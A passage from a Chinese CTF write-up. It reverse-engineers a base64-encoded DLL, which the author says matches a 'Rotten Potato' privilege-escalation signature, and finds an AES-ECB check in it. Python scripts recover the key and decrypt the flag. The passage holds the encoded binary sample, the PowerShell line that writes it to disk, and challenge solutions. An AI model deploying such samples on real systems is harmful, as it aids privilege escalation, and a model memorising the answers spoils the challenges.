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");
Set-Content "C:\\Users\\23957\\Desktop\\reverse\\20201122.tmp" $cont -Encoding byte

 生成的tmp文件是：

image-20221209174946102

 die和exeinfope都看不出来，查了查，是烂土豆提权的特征码，开头缺了0x4d5a，加上之后，说是32位的动态链接库。

 参考链接：

https://zwz12138.github.io/2021/09/27/windows-linux%E6%8F%90%E6%9D%83%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%91%BD%E4%BB%A4%E4%BB%A5%E5%8F%8A%E6%96%B9%E5%BC%8F%E8%AE%B0%E5%BD%95-%E6%9C%AA%E5%A4%8D%E7%8E%B0%EF%BC%89/

 然后就定位到了：

image-20221216193020224

 其中主要就是sub_10001140和sub_10001260这两个函数，分析了两周都没啥进展，中间还想着用z3去解，但是始终没写出脚本，最后看了看wp，妈的是AES加密。再回头看我写的脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
a1 = [0 for i in range(196)]
a2 = [0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0XD2, 0XA6, 0XAB, 0XF7, 0X15, 0X88, 0X09, 0XCF, 0X4F, 0X3C]
def sub_10001140():
    global a1, a2
    array_1 = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
    array_2 = [0x8D, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D]
    for id, it in enumerate(a2):
        a1[id] = it
    v4 = 4
    result = 13
    while True:
        v7 = a1[result - 1]
        v8 = a1[result + 1]
        v9 = a1[result + 2]
        v10 = a1[result]
        if v4 % 4 == 0:
            v10 = array_1[a1[result + 1]]
            v7 = array_1[a1[result]] ^ array_2[v4 >> 2]
            v8 = array_1[a1[result + 2]]
            v9 = array_1[a1[result - 1]]
        v4 += 1
        a1[result + 3] = v7 ^ a1[result - 13]
        a1[result + 4] = v10 ^ a1[result - 12]
        a1[result + 5] = v8 ^ a1[result - 11]
        a1[result + 6] = v9 ^ a1[result - 10]
        result += 4
        if v4 >= 0x2c:
            break
    print(a1)

sub_10001140()

"""
[43, 126, 21, 22, 40, 174, 210, 166, 171, 247, 21, 136, 9, 207, 79, 60, 160, 250, 254, 23, 136, 84, 44, 177, 35, 163, 57, 57, 42, 108, 118, 5, 242, 194, 149, 242, 122, 150, 185, 67, 89, 53, 128, 122, 115, 89, 246, 127, 61, 128, 71, 125, 71, 22, 254, 62, 30, 35, 126, 68, 109, 122, 136, 59, 239, 68, 165, 65, 168, 82, 91, 127, 182, 113, 37, 59, 219, 11, 173, 0, 212, 209, 198, 248, 124, 131, 157, 135, 202, 242, 184, 188, 17, 249, 21, 188, 109, 136, 163, 122, 17, 11, 62, 253, 219, 249, 134, 65, 202, 0, 147, 253, 78, 84, 247, 14, 95, 95, 201, 243, 132, 166, 79, 178, 78, 166, 220, 79, 234, 210, 115, 33, 181, 141, 186, 210, 49, 43, 245, 96, 127, 141, 41, 47, 172, 119, 102, 243, 25, 250, 220, 33, 40, 209, 41, 65, 87, 92, 0, 110, 208, 20, 249, 168, 201, 238, 37, 137, 225, 63, 12, 200, 182, 99, 12, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
"""
from z3 import *

a1 = [0 for i in range(16)]
a2 = [43, 126, 21, 22, 40, 174, 210, 166, 171, 247, 21, 136, 9, 207, 79, 60, 160, 250, 254, 23, 136, 84, 44, 177, 35, 163, 57, 57, 42, 108, 118, 5, 242, 194, 149, 242, 122, 150, 185, 67, 89, 53, 128, 122, 115, 89, 246, 127, 61, 128, 71, 125, 71, 22, 254, 62, 30, 35, 126, 68, 109, 122, 136, 59, 239, 68, 165, 65, 168, 82, 91, 127, 182, 113, 37, 59, 219, 11, 173, 0, 212, 209, 198, 248, 124, 131, 157, 135, 202, 242, 184, 188, 17, 249, 21, 188, 109, 136, 163, 122, 17, 11, 62, 253, 219, 249, 134, 65, 202, 0, 147, 253, 78, 84, 247, 14, 95, 95, 201, 243, 132, 166, 79, 178, 78, 166, 220, 79, 234, 210, 115, 33, 181, 141, 186, 210, 49, 43, 245, 96, 127, 141, 41, 47, 172, 119, 102, 243, 25, 250, 220, 33, 40, 209, 41, 65, 87, 92, 0, 110, 208, 20, 249, 168, 201, 238, 37, 137, 225, 63, 12, 200, 182, 99, 12, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
target = [0X1F, 0XEA, 0XC7, 0X79, 0X55, 0X3B, 0XF8, 0X82, 0X51, 0XB3, 0X54, 0X80, 0XCF, 0XA6, 0XB6, 0X75]

def equationSolver(begin:int, a1:list):
    a0_old = BitVec('a0_old', 8)
    a1_old = BitVec('a1_old', 8)
    a2_old = BitVec('a2_old', 8)
    a3_old = BitVec('a3_old', 8)

    a0_new = a1[begin]
    a1_new = a1[begin + 1]
    a2_new = a1[begin + 2]
    a3_new = a1[begin + 3]
    a = a0_new ^ a1_new ^ a2_new ^ a3_new

    solver = Solver()
    solver.add(a0_old ^ (((a0_old^a1_old) << 1) ^ (27 *((a0_old^a1_old) >> 7))) == a ^ a0_new)
    solver.add(a1_old ^ (((a2_old^a1_old) << 1) ^ (27 *((a2_old^a1_old) >> 7))) == a ^ a1_new)
    solver.add(a2_old  ^ (((a2_old^a3_old) << 1) ^ (27 *((a2_old^a3_old) >> 7))) == a ^ a2_new)
    solver.add(a3_old  ^ (((a0_old^a3_old) << 1) ^ (27 *((a0_old^a3_old) >> 7))) == a ^ a3_new)
    # solver.add(a0_old != a0_new)
    solver.check()
    ans = str(solver.model())
    ans = ans.replace("[", "").replace("]", "").split(",")
    for index, i in enumerate(ans):
        i = i.split("=")
        ii = int(i[1][1:], 10)
        a1[begin + 3 - index] = ii
    return a1
        

def sub_10001260():
    global a1, a2
    array_1 = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
    
    for i in range(16):
        a1[i] = target[i] ^ a2[160+i]
    index = 10
    while True:
        if index <= 9:
            for i in range(16):
                a1[i] ^= a2[16*index+i]
            
            for i in range(4):
                begin = int(i * 4)
                a1 = equationSolver(begin, a1)
        tmp = a1[13]
        a1[13] = a1[9]
        a1[9] = a1[5]
        a1[5] = a1[1] 
        a1[1] = tmp

        tmp = a1[2]
        a1[2] = a1[10]
        a1[10] = tmp

        tmp = a1[14]
        a1[14] = a1[6]
        a1[6] = tmp

        tmp = a1[7]
        a1[7] = a1[11]
        a1[11] = a1[15]
        a1[15] = a1[3]
        a1[3] = tmp

        for i in range(4):
            for j in range(4):
                ii = i + 4 * j
                a1[ii] = array_1.index(a1[ii])
        if index == 1:
            break
        index -= 1


    # a1.extend([0 for i in range(100)])
    print(a1)
    # for inter in range(16):
    #     print("inter ", inter)
    #     for i in range(16):
    #         print(chr(a1[i]^a1[i+inter]), end = "")
    #     print()

if __name__ == "__main__":
    sub_10001260()

 突然有种茅塞顿开的感觉，AES是10轮，我这脚本里也是10轮，而且也是大概有四种操作，但是我的为啥不对，我也不知道，应该是里面有个小错误。最终盖棺定论的是array_1，搜了搜是AES的S盒初始值。看来以后不能光靠GPT啊。（GPT我把函数喂给它竟然没看出来是AES，可恶）。知道是AES就好办了，密钥是：[0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0XD2, 0XA6, 0XAB, 0XF7, 0X15, 0X88, 0X09, 0XCF, 0X4F, 0X3C]，密文是[0X1F, 0XEA, 0XC7, 0X79, 0X55, 0X3B, 0XF8, 0X82, 0X51, 0XB3, 0X54, 0X80, 0XCF, 0XA6, 0XB6, 0X75]。是AES的ECB加密，各种加密模式复习一波：

https://www.cnblogs.com/AtesetEnginner/p/9870253.html

 最终脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/16 19:53:34
# @Author: wd-2711
'''

from Crypto.Cipher import AES
import binascii

key = [0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0XD2, 0XA6, 0XAB, 0XF7, 0X15, 0X88, 0X09, 0XCF, 0X4F, 0X3C]
cipherText = [0X1F, 0XEA, 0XC7, 0X79, 0X55, 0X3B, 0XF8, 0X82, 0X51, 0XB3, 0X54, 0X80, 0XCF, 0XA6, 0XB6, 0X75]

if __name__ == "__main__":
    key = bytes(key)
    cipherText = bytes(cipherText)
    aes = AES.new(key, AES.MODE_ECB)
    flag = aes.decrypt(cipherText)
    print(flag)
# b'flag{thisisit01}'

0x01 总结

 看到很麻烦的函数别头铁直接逆，能不能多搜一搜相关数组和字符串，我真是服了我自己。

知识点1：cmdlet是啥？

 cmdlet（命令小工具）是一种在 Windows PowerShell 中使用的命令行工具。它通常用于执行特定的任务，例如管理系统配置、查询系统信息以及运行脚本等。通常，cmdlet 的名称都是以动词开头，例如 Get-Service、Stop-Process 和 Set-Content。这样的命名方式有助于更清晰地表示 cmdlet 的功能。要使用 cmdlet，你需要在 Windows PowerShell 中输入它的名称，然后按照提示输入参数。例如，要查看当前系统中运行的所有服务，你可以输入 Get-Service，就会输出当前系统中所有运行的服务的信息，包括服务的名称、状态和类型等。

知识点2：C#相关函数

函数名 作用
IO.MemoryStream 使用 New-Object cmdlet 来创建一个 IO.MemoryStream 对象，它用于在内存中存储数据流。
IO.Compression.DeflateStream 用于对数据流进行 Deflate 压缩。
IO.StreamReader 以特定编码从字节流中读取字符。

知识点3：C#。C++ 和 Java 的一个更简洁的替代品。C# 广泛用于开发 Windows 应用程序、Web 应用程序、游戏、移动应用程序等。

知识点4：C#的using字段。在 C# 中，关键字 using 用于定义一个 using 块，该块可以用来自动释放对象的资源。例如，在 using 块中定义的流对象（如 FileStream、MemoryStream、DeflateStream 等）会在 using 块结束时自动关闭和释放流资源。例如，下面的代码演示了如何使用 using 块来自动释放流资源：

1
2
3
4
5
6
7
8
9
10
// 定义一个文件名
string fileName = "C:\\myfile.txt";

// 在 using 块中定义一个文件流对象
using (FileStream fileStream = File.OpenRead(fileName))
{
    // 读取文件流中的数据
    // ……
}
// using 块结束后，文件流资源自动关闭和释放

知识点5：Invoke-Expression 命令是 PowerShell 中的一个 cmdlet，它可以执行指定的字符串表达式，并返回表达式的结果。例如，下面的代码演示了如何使用 Invoke-Expression 命令来执行表达式：

1
Invoke-Expression "1 + 2 * 3"

知识点6：为什么ps1脚本中的函数在C#中也能使用？

 Powershell和C#本质都是调的系统函数，当然可以用。

reverse_re1

0x00

简介是玫瑰玫瑰我爱你，什么勾八。文件是64位的C++。

0x01

 主要就是俩函数，sub_55A686E008F0是生成v4变量，与输入无关，sub_55A686E00A62则是输入与v4做一些处理，最后于unk_55A686E010A0作比较。

image-20221217112700104

 直接上脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/16 20:52:54
# @Author: wd-2711
'''

unk_10A0 = [0x12, 0xF8, 0xA3, 0x80, 0x6B, 0x2E, 0x69, 0x0A, 0x74, 0x24, 0xB7, 0x32, 0x53, 0xFC, 0x7A, 0x9D, 0xE8, 0x7B, 0x9B, 0x2E, 0xEF, 0xF3, 0x0B, 0x45, 0x63, 0x01, 0x35, 0xB7, 0x76, 0x8C, 0xCB, 0xD9, 0xC6, 0x8B, 0x8C, 0x2A, 0xA8, 0xAD, 0x67, 0x09, 0x5C, 0x0F, 0x52, 0xD4, 0x9D, 0x27, 0xC3, 0xD0, 0xC5, 0x91, 0xC0, 0xEA, 0xBF, 0x0D, 0xE7, 0x6C, 0x1A, 0x6A, 0x1A, 0x12, 0xB7, 0xB8, 0x18, 0xB9, 0x46, 0xC3, 0x5B, 0x90, 0x45, 0x7B, 0x94, 0xE6, 0x5F, 0x4F, 0xF0, 0x66, 0x78, 0xCC, 0xE9, 0xBE, 0x0B, 0x94, 0x84, 0x0F, 0x33, 0xAE, 0x97, 0x88, 0x45, 0x4E, 0xD2, 0x76, 0x11, 0x8E, 0x99, 0xFC, 0xCA, 0xD5, 0xE6, 0x27, 0x57, 0x74, 0x01, 0x98, 0x0A, 0xCD, 0x7F, 0x0D, 0xA2, 0xC5, 0xAB, 0xA2, 0x05, 0xA2, 0x86, 0xD3, 0x0E, 0x3A, 0x8E, 0xBA, 0xCC, 0x43, 0xA0, 0xBC, 0x30, 0x1C, 0x7B, 0x42, 0x02, 0xDC, 0xA4, 0xAA, 0x06, 0x89, 0x97, 0xAF, 0x81, 0xC0, 0x8A, 0x0B, 0xF7, 0x6C, 0xFE, 0x30, 0x97, 0x17, 0xEA, 0x79, 0x4F, 0x48, 0x5B, 0xD3, 0xCF, 0x91, 0xD6, 0xF6, 0x73, 0xA9, 0x16, 0x46, 0xB7, 0x5E, 0x63, 0x08, 0x3A, 0x1F, 0x0C, 0xB8, 0xE4, 0xBB, 0x52, 0x2E, 0xAE, 0xED, 0x46, 0x51, 0x82, 0x22, 0xE7, 0x70, 0x33, 0x7C, 0xF8, 0x45, 0x45, 0x33, 0xCA, 0x72, 0x66, 0xCF, 0xC9, 0x2E, 0x5C, 0x45, 0xC1, 0xD1, 0x0A, 0x66, 0xD7, 0x51, 0xA1, 0x74, 0xCC, 0x4A, 0x71, 0xDF, 0xDC, 0x76, 0xEA, 0x9A, 0x11, 0x22, 0x1A, 0x6A, 0x5A, 0x75, 0x12, 0x46, 0x38, 0x6C, 0x63, 0x88, 0x75, 0x20, 0xD5, 0x3C, 0xF8, 0xB5, 0x2F, 0x45, 0x6F, 0x34, 0x8F, 0x9D, 0x10, 0xA8, 0xB3, 0x19, 0x4F, 0xCA, 0xEE, 0x0D, 0xD9, 0xE6, 0xA9, 0x76, 0xEE, 0x97, 0x8E, 0x12, 0x91, 0xED, 0x9A, 0x3C, 0x34, 0xA4, 0xB0, 0x33, 0xAF, 0xC9, 0xFE, 0x7F, 0x00, 0x00, 0xAF, 0x68, 0xCA, 0x91, 0x61, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0x2A, 0x06, 0x92, 0x61, 0x7F, 0x00, 0x00, 0x50, 0x37, 0xAF, 0xC9, 0x01, 0x00, 0x00, 0x00, 0x45, 0x02, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x33, 0xAF, 0xC9, 0xFE, 0x7F, 0x00, 0x00, 0x83, 0x62, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x40, 0x11, 0x28, 0x92, 0x61, 0x7F, 0x00, 0x00, 0x60, 0x1D, 0x28, 0x92, 0x61, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x56, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x02, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 